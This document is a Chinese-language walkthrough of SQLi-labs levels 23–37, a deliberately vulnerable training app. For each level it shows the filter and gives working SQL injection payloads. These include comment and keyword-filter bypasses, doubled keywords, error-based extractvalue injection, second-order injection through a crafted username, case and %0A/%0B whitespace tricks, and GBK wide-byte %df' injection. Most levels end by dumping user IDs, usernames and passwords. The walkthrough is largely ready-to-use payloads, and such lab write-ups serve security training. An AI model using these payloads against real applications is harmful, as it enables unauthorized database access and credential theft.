sqlilabs通关02-中级篇:less23-37
less23:注释符绕过
先看代码
-
可以看到对字符进行替换,将 #号和--替换成了空
-
通过sql语句,可以知道闭合符号是单引号
然后就可以开始尝试了,由于这关是get,直接修改url的参数即可
?id=1 #正常访问
#绕过
?id=1' and '1'='1
?id=1' and sleep(3)%20 and%20 '1'='1 #说明可以使用布尔加延时去注入
#然后拆解列数发现order by貌似不行,可以使用union select去拆解
?id=-1' union select 1,1,'2 #回显成功,说明三个字段
#获取数据库相关信息
?id=-1' union select 4,1,@@datadir+'2
@@datadir mysql安装路径
@@basedir 数据库保存路径
#获取表名
?id=-1' union select 4,(select group_concat(table_name) from information_schema.tables where table_schema=database()),'2
后续就这样替换就行了
less24:二次注入
这关的前提是你不知道用户名和密码,你是第一次来到这个网站。
所以为了获取更多的信息,你应该注册一个账号。
如下代码,除了username参数没有进行处理,其余都通过mysql_real_escape_string() 函数进行sql防御措施。
mysql_real-escape_string()
函数的作用:转移一些特殊字符,防止sql语句被恶意注入。有点类似于java对于字符进行实体化操作。
在源代码中,仅仅只有注册账户的时候,username才没有进行处理,所以需要从注册账户的时候进行第一次注入。
思路:
- 注册一个带有注释符号的账户,方便后续的二次注入
- 通过修改密码等方式
-
注册一个带有注释符的用户,如
admin' #
,密码123123
-
登录该账号,然后来到了修改密码的界面,通过源代码可知,用户名已经变成了刚才的注释,所以我们直接修改掉刚才
admin
的用户密码。
那么此时执行的代码就是
UPDATE users SET PASSWORD='$pass' where username='admin' #' and password='$curr_pass'
-
输入你需要将admin修改成的密码,修改成功。
-
登录amdin账号,密码为刚才修改,登录成功。查看一下sql数据库验证一下。
less25:or and过滤为空
字符过滤最简单的一关,看源代码
将or和and关键字替换成空,所以只需要双写即可。把关键字夹在关键字中间写即可。
or
->oorr
and
->anandd
?id=1' aandnd 1=1-- q
?id=-1' union select 1,2,3-- q
后续常规操作
less25a和less25同理,只是闭合符号从单引号变成了整数,即不需要闭合。
/?id=1 union select 1,2,3-- q
less26:报错注入
通过关键代码可知,替换了一部分字符为空字符
解决:
- or 或者and 替换为||和&&,或者是双写
- 使用报错注入,然后引号将两边闭合
- 空格用括号代替
#爆出数据库
?id=-1'||extractvalue(1,concat(1,database()))||'1
?id=-1'||extractvalue(1,concat(1,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x3e))||'1 #注意infor or需要双写
?id=-1'||extractvalue(1,concat(1,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='users')anandd(table_schema=database())),0x3e))||'1
?id=-1'||extractvalue(1,concat(1,(select(group_concat(id,username,passwoorrd))from(users)),0x3e))||'1 #注意passwoorrd
less26a
看了一下源代码,和less26差不多,唯一的区别是空白字符串替换了两次,以及把mysql的错误打印注释,也就是说需要使用盲注来解决即可
还有就是:闭合符多了个括号
?id=1')anandd'1'=('1 #试试布尔,成功回显
#回显
?id=1')anandd(length(database())>7)aandnd'1'=('1
#不回显
?id=1')anandd(length(database())>8)aandnd'1'=('1
后续按照布尔方式来注入即可
less27
过滤了如下字符串
解释:
- 主要包括了一些关键字和注释符,空白
-
/s
表示单行匹配 -
/m
表示多行匹配
解决:
- 关键字貌似都没有大小写敏感,所以可以通过混乱大小写绕过
?id=-4454'unIon%0ASeLect%0A1,2,'3 #回显
?id=-4454'unIon%0ASeLect%0A1,database(),'3 #爆库
#爆表
?id=-4454'unIon%0ASeleCt%0A1,(SeleCt(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),'3
#爆出字段
?id=-4454'unIon%0ASeleCt%0A1,(SeleCt(group_concat(column_name))from(information_schema.columns)where(table_name='users')And(table_schema=database())),'3
#爆出记录
?id=-4454'unIon%0ASeleCt%0A1,(SeleCt(group_concat(id,username,password))from(security.users)),'3
less27a
闭合符号为双引号,其他相同
?id=-4454"unIon%0ASeLect%0A1,database(),"3 #爆库
?id=-4454"unIon%0ASeleCt%0A1,(SeleCt(group_concat(id,username,password))from(security.users)),"3
less27这两关,除了直接union,也可以通过extractvalue登报错 函数爆出
less28
源代码:
分析:
除了之前的过滤,主要是多了“union空白连字符select”进行了过滤,同时不区分大小写。
闭合符号是:')
测试闭合符号是否正确
?id=1')and(''=' #回显
?id=1')and('2'=' #不回显,说明正确
/?id=1')%0Aor%0Aupdatexml(1,concat(1,database(),0x3e),1)and(''='
发现没有报错回显,只能用盲注试试了
?id=1')and(length(database())=8)and(''=' #数据库名称长度
由于union select
被过滤,所以中间的空格可以使用%0b
进行绕过
?id=-4454')unIon%0BSeLect%0A1,database(),('3
爆表
?id=-4454')unIon %0b SeLect%0A1,(select %0b group_concat(table_name)from %0b information_schema.tables %0b where %0b table_schema=database()),('3 #中间的空格可以不要,只是为了可读性,反正后端会自动过滤空格
爆字段
?id=-4454')unIon %0b SeLect%0A1,(select %0b group_concat(column_name)from %0b information_schema.columns %0b where %0b table_schema=database() %0band%0b table_name='users'),('3
爆记录
?id=-4454')unIon %0B SeLect%0A1,(select %0B group_concat(id,username)from %0B security.users),('3
less28a
源代码:可以看到对一些字符过滤进行了注释,所以只需要管union select即可。
所以直接套用less28的payload即可。
less29:waf
源代码有个函数:
$_SERVER['QUERY_STRING']
:表示url中get所传递的参数链接
比如:http://example.com/page.php?id=123&name=John
,那么对应的QUERY_STRING
值就是:id=123&name=John
关于防御手段,没有看出来有什么防御手段
?id=-1' union select 1,2,3-- q
less30
闭合符号: 双引号"
?id=-1" union select 1,2,(select group_concat(id,username) from users)-- q
less31
根据测试发现闭合符号是")
?id=1") and 1=1-- q
猜列
?id=1") order by 4-- q
?id=1") order by 3-- q
?id=-1") union select 1,2,3-- q #判断回显
?id=-1") union select 1,2,database()-- q
?id=-1") union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())-- q
后续继续爆记录就行了
less32:宽字节注入
源代码,对一些字符进行了转义,比如,\
,/
,"
三个符号
由于闭合符号是需要双引号,那么就要绕过这个。
同时在连接的时候,进行了gbk编码。
这里的过滤已经能够防御大部分的sql注入,但是由于连接时使用了gbk编码,所以会有宽字节注入。
思路:使用宽字节注入,用%df
,将反斜杠去掉,同时使用hex编码对汉字进行转码,这样就不需要单引号了
宽字节注入
?id=1%df%27%20and%201=1--%20q
?id=1%df%27 order by 4-- q
#回显
?id=-1%df%27 union select 1,2,3-- q
#爆库
?id=-1%df%27 union select 1,2,database()-- q
#爆表
?id=-1%df%27 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())-- q
#爆字段
?id=-1%df%27 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)-- q
#爆记录
?id=-1%df%27 union select 1,2,(select group_concat(0x3e,id,0x3e,username,0x3e,password) from users)-- q
less33
在获取id参数值后,对参数值做了转义处理。与less32不同的是,是使用自带的函数进行的转义,而less32是自己手写的转义函数。
addslashes
函数,用于对单引号(')、双引号(")、反斜线(\)和 NUL(NULL 字符)进行转义 。
同时也设置了gbk编码。
和less32一样,使用宽字节即可。
less34
由于post,所以需要进行抓包。
由于源代码中使用了转义函数,同时使用gbk编码,所以使用宽字节注入即可。
同时,由于前端是username和password进行登录,所以字段也变成了两个,回显的时候sql回显字段个数需要注意一下。
less35
这关是get方式提交数据。由于提示数据类型是number,所以就不用考虑闭合符号了。
验证闭合符号是否没有
?id=1 and 1=1 #回显
?id=1 and 1=2 #不回显,说明就是没有闭合符号
?id=1 order by 4
?id=1 order by 3
?id=-1 union select 4,5,3 #注入点回显了5和3
?id=-1 union select 4,5,database()
?id=-1 union select 4,5,group_concat(column_name) from information_schema.tables where table_name='users' #发现报错有转义,将users转成16进制
中途的一些过程省略
?id=-1 union select 4,5,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=database() #爆字段
?id=-1 union select 4,5,(select group_concat(id,username,password) from users)
less36
使用了mysql_real_escape_string
对一些标点进行转义,防止sql注入。后端进行mysql连接时,使用了gbk编码,使用宽字节注入即可。
闭合符号:'
,注意使用%df'
去闭合即可,其他的字符串值,转换成16进制即可。
?id=-1%df' union select 4,5,(select group_concat(id,username,password) from users)-- q
less37
由于是post,先进行抓包。
这关同样是对一些特殊字符转义,所以使用宽字节注入即可。
过程同样省略
uname=1%df' order by 4-- q&passwd=1&submit=Submit
uname=-1%df' union select 5,(select group_concat(id,username,password) from users)-- q&passwd=1&submit=Submit